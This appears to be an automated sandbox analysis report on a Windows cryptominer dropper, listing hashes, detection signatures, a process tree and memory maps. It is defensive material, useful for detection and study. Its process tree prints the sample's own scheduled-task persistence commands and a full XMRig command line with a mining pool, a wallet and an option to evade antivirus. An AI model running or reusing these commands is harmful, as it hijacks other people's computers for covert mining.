Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    03/06/2024, 08:42

General

  • Target

    91290227566049adfd31ecd4c1296b92_JaffaCakes118.exe

  • Size

    2.2MB

  • MD5

    91290227566049adfd31ecd4c1296b92

  • SHA1

    002b9071306530c3915cf27590b8453aa871125d

  • SHA256

    3295d5e6746be0ceb6557380a4b57e6606e8fad051279a0ff78b3236d7b91bf6

  • SHA512

    427c5c9d5d1c5e3c19dcd42dd15a386d536e3d6ed7ce7a954bef751add0581a35392c33c3e986116f779dda24072d92a992eef1953e9e58496ab432516a2e509

  • SSDEEP

    49152:z+5V5bSIh5Robl+Gd6pzGg90o0TickQ7B7Atl9hpHAKf:K75bSynocSQqgqZWjQt7Alfzf

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 15 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • UPX packed file 18 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\91290227566049adfd31ecd4c1296b92_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\91290227566049adfd31ecd4c1296b92_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\zbe20246384251130.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\SysWOW64\schtasks.exe
        Schtasks.EXE /delete /tn "Maintenance" /f
        3⤵
          PID:2832
        • C:\Windows\SysWOW64\schtasks.exe
          Schtasks.EXE /create /tn "Maintenance" /xml "C:\Users\Admin\AppData\Local\Temp\zx20246384251130.xml"
          3⤵
          • Creates scheduled task(s)
          PID:2904
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\zb20246384251130.bat" "
        2⤵
        • Deletes itself
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\chcp.com
          chcp 1251
          3⤵
            PID:3024
          • C:\Users\Admin\AppData\Local\Temp\91290227566049adfd31ecd4c1296b92_JaffaCakes118.exe
            "C:\Users\Admin\AppData\Local\Temp\91290227566049adfd31ecd4c1296b92_JaffaCakes118.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2492
            • C:\Users\Admin\scvhots.exe
              "C:\Users\Admin\scvhots.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1936
              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
                C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe -a cryptonight -o pool.supportxmr.com:80 -u 453ys3CV57Nbg2XCekHZdJRHyGd4uSB1oTuWEs5btLfsYDKE71XAmUVYybZXVBeZDS34zWxkWL6pNRNPPXHChq6CGwNa5j4 -p cpu --av=0 -t 1 --donate-level=1
                5⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:920
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 3 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:2456

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zb20246384251130.bat

        Filesize

        680B

        MD5

        a8392a9f77078d7955410a1bf5fa9a82

        SHA1

        8963744692735559bce6322dcdb9a5f67fd952ba

        SHA256

        eff1ea1ce1e42d01c25fa203cb2f43316602d2cf51b88ef60ebd6679e57ddb11

        SHA512

        8dd07d99cafbe2bce9402f5eae33bf46e4b1f93b73b5815b5957f444be8c851f27e1143ef7923e86c6b4059f3ba4af8bd1bd37f625cad8c6005c12f75f708777

      • C:\Users\Admin\AppData\Local\Temp\zbe20246384251130.bat

        Filesize

        198B

        MD5

        98228d10daef5f91cccf5e0fb25f130e

        SHA1

        f94ed868eaee3015706b274d7a30f0c7086dc215

        SHA256

        d0d065878458a486bb9b453884cce4f0e13b83950f374cb765e2bbc9610995ff

        SHA512

        97eaf08ae5765f90734c762ddd77a196ca86a73f0660c4e8b7970e202487a471196d7ed186ab60b79dffc90d23ef3fa1ea3e44e515f22fe34a965cab09fc95d3

      • C:\Users\Admin\AppData\Local\Temp\ze20246384251130.tmp

        Filesize

        2.2MB

        MD5

        f4cdf35f34063c1b0377008ae133e79f

        SHA1

        935d7e86cfb4d7b853a6e51f7e4ab938a0a46136

        SHA256

        317a902c2d5a9307e87f7e751aff4745379727fa99c9900d387f0eadd4fbbe43

        SHA512

        7c7216b2ed6ca7381a6ff0cc66b04e20720a9bb9b24cedfaa0158204d6bb6f5937dc4ee6c9b3529fbcebf002415792bd7de81cecbbde9c404ae4e709893a1e9f

      • C:\Users\Admin\AppData\Local\Temp\zx20246384251130.xml

        Filesize

        1KB

        MD5

        bae07d90cc9071ee0f4d37b3f89d6a57

        SHA1

        90b6121e67985028c970bb3b5553324a4f9f611d

        SHA256

        742b5a10cb78290d18a962a81436a61d4d5124e748a5c59681684a924d6545d8

        SHA512

        9a5a143b91cecdda0e2924c467b30b856b0ae501f5c67746ea9c2b60b40666bbe9d101b806740489f2ba92da7a0165fbb44e536c6aedf6002406f506a3c4d9a8

      • memory/920-94-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-93-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-107-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-106-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-105-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-104-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-103-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-102-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-101-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-100-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-99-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-98-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-97-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-109-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-96-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-79-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-95-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/920-108-0x0000000000400000-0x000000000057C000-memory.dmp

        Filesize

        1.5MB

      • memory/1936-53-0x00000000002C0000-0x00000000002C1000-memory.dmp

        Filesize

        4KB

      • memory/1936-88-0x0000000074DF0000-0x0000000074E6D000-memory.dmp

        Filesize

        500KB

      • memory/1936-59-0x00000000746E0000-0x0000000074C8B000-memory.dmp

        Filesize

        5.7MB

      • memory/1936-55-0x0000000075DD0000-0x0000000075E7C000-memory.dmp

        Filesize

        688KB

      • memory/1936-56-0x0000000075730000-0x0000000075777000-memory.dmp

        Filesize

        284KB

      • memory/1936-91-0x0000000077060000-0x00000000771BC000-memory.dmp

        Filesize

        1.4MB

      • memory/1936-57-0x0000000075780000-0x00000000757D7000-memory.dmp

        Filesize

        348KB

      • memory/1936-92-0x0000000074D90000-0x0000000074DEB000-memory.dmp

        Filesize

        364KB

      • memory/1936-86-0x00000000760D0000-0x0000000076D1A000-memory.dmp

        Filesize

        12.3MB

      • memory/1936-85-0x0000000074D20000-0x0000000074D6A000-memory.dmp

        Filesize

        296KB

      • memory/1936-58-0x0000000074F90000-0x0000000074F99000-memory.dmp

        Filesize

        36KB

      • memory/1936-89-0x0000000074F90000-0x0000000074F99000-memory.dmp

        Filesize

        36KB

      • memory/1936-87-0x0000000075780000-0x00000000757D7000-memory.dmp

        Filesize

        348KB

      • memory/1936-60-0x00000000760D0000-0x0000000076D1A000-memory.dmp

        Filesize

        12.3MB

      • memory/1936-70-0x0000000074D90000-0x0000000074DEB000-memory.dmp

        Filesize

        364KB

      • memory/1936-90-0x00000000746E0000-0x0000000074C8B000-memory.dmp

        Filesize

        5.7MB

      • memory/1936-80-0x0000000000400000-0x00000000005ED000-memory.dmp

        Filesize

        1.9MB

      • memory/1936-81-0x0000000075730000-0x0000000075777000-memory.dmp

        Filesize

        284KB

      • memory/1936-68-0x0000000077060000-0x00000000771BC000-memory.dmp

        Filesize

        1.4MB

      • memory/1936-52-0x0000000000400000-0x00000000005ED000-memory.dmp

        Filesize

        1.9MB

      • memory/1936-51-0x0000000000400000-0x00000000005ED000-memory.dmp

        Filesize

        1.9MB

      • memory/1936-50-0x0000000074D20000-0x0000000074D6A000-memory.dmp

        Filesize

        296KB

      • memory/1936-83-0x0000000075DD0000-0x0000000075E7C000-memory.dmp

        Filesize

        688KB

      • memory/2492-41-0x0000000075500000-0x000000007558F000-memory.dmp

        Filesize

        572KB

      • memory/2492-49-0x0000000004D30000-0x0000000004F1D000-memory.dmp

        Filesize

        1.9MB

      • memory/2492-61-0x0000000000400000-0x00000000005ED000-memory.dmp

        Filesize

        1.9MB

      • memory/2492-62-0x0000000075730000-0x0000000075777000-memory.dmp

        Filesize

        284KB

      • memory/2492-64-0x0000000075DD0000-0x0000000075E7C000-memory.dmp

        Filesize

        688KB

      • memory/2492-71-0x0000000075780000-0x00000000757D7000-memory.dmp

        Filesize

        348KB

      • memory/2492-72-0x0000000074DF0000-0x0000000074E6D000-memory.dmp

        Filesize

        500KB

      • memory/2492-73-0x0000000074F90000-0x0000000074F99000-memory.dmp

        Filesize

        36KB

      • memory/2492-74-0x00000000746E0000-0x0000000074C8B000-memory.dmp

        Filesize

        5.7MB

      • memory/2492-75-0x0000000077060000-0x00000000771BC000-memory.dmp

        Filesize

        1.4MB

      • memory/2492-76-0x0000000074D90000-0x0000000074DEB000-memory.dmp

        Filesize

        364KB

      • memory/2492-77-0x0000000072230000-0x0000000072325000-memory.dmp

        Filesize

        980KB

      • memory/2492-78-0x0000000075500000-0x000000007558F000-memory.dmp

        Filesize

        572KB

      • memory/2492-69-0x00000000760D0000-0x0000000076D1A000-memory.dmp

        Filesize

        12.3MB

      • memory/2492-66-0x0000000074D20000-0x0000000074D6A000-memory.dmp

        Filesize

        296KB

      • memory/2492-42-0x0000000072230000-0x0000000072325000-memory.dmp

        Filesize

        980KB

      • memory/2492-39-0x0000000074D90000-0x0000000074DEB000-memory.dmp

        Filesize

        364KB

      • memory/2492-38-0x0000000077060000-0x00000000771BC000-memory.dmp

        Filesize

        1.4MB

      • memory/2492-36-0x00000000760D0000-0x0000000076D1A000-memory.dmp

        Filesize

        12.3MB

      • memory/2492-35-0x00000000746E0000-0x0000000074C8B000-memory.dmp

        Filesize

        5.7MB

      • memory/2492-32-0x0000000075730000-0x0000000075777000-memory.dmp

        Filesize

        284KB

      • memory/2492-31-0x0000000075DD0000-0x0000000075E7C000-memory.dmp

        Filesize

        688KB

      • memory/2492-33-0x0000000075780000-0x00000000757D7000-memory.dmp

        Filesize

        348KB

      • memory/2492-34-0x0000000074F90000-0x0000000074F99000-memory.dmp

        Filesize

        36KB

      • memory/2492-28-0x0000000000400000-0x00000000005ED000-memory.dmp

        Filesize

        1.9MB

      • memory/2492-29-0x0000000000240000-0x0000000000241000-memory.dmp

        Filesize

        4KB

      • memory/2492-27-0x0000000074D20000-0x0000000074D6A000-memory.dmp

        Filesize

        296KB

      • memory/2492-26-0x0000000000400000-0x00000000005ED000-memory.dmp

        Filesize

        1.9MB

      • memory/2632-25-0x0000000001F10000-0x00000000020FD000-memory.dmp

        Filesize

        1.9MB